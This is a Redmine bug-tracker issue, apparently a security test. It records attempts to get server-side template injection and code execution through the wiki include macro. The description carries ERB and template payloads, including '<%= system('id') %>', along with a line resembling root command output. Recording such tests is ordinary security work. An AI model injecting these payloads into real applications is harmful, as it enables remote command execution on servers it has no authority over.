Project

General

Profile

Actions
Copy link

Bug #118

open

SSTI Test i044 <%= 7*7 %>

Added by Redmine Admin 29 days ago. Updated 29 days ago.

Status:
New
Priority:
Normal
Assignee:
-
Start date:
07/16/2026
Due date:
% Done:

0%

Estimated time:

Description

Include test with existing wiki:

include RceTest2 from project 3:

ERB/SSTI Injection Test\n\nERB test: <%= 7*7 %>\n\nERB test2: <%25= 7*7 %>\n\nSSTI Rails: {{7*7}}\n\nRuby eval: <%= system('id') %>\n\nTextile eval: <%= uid=0(root) gid=0(root) groups=0(root) %>

include from same project:

Error executing the include macro (Page not found)

include with .rhtml extension:

Error executing the include macro (Page not found)

include with .erb:

Error executing the include macro (Page not found)

Actions
Copy link
 #1

Updated by Redmine Admin 29 days ago

  • Description updated (diff)
Actions
Copy link
 #2

Updated by Redmine Admin 29 days ago

  • Description updated (diff)
Actions
Copy link
 #3

Updated by Redmine Admin 29 days ago

  • Description updated (diff)
Actions
Copy link

Also available in: Atom PDF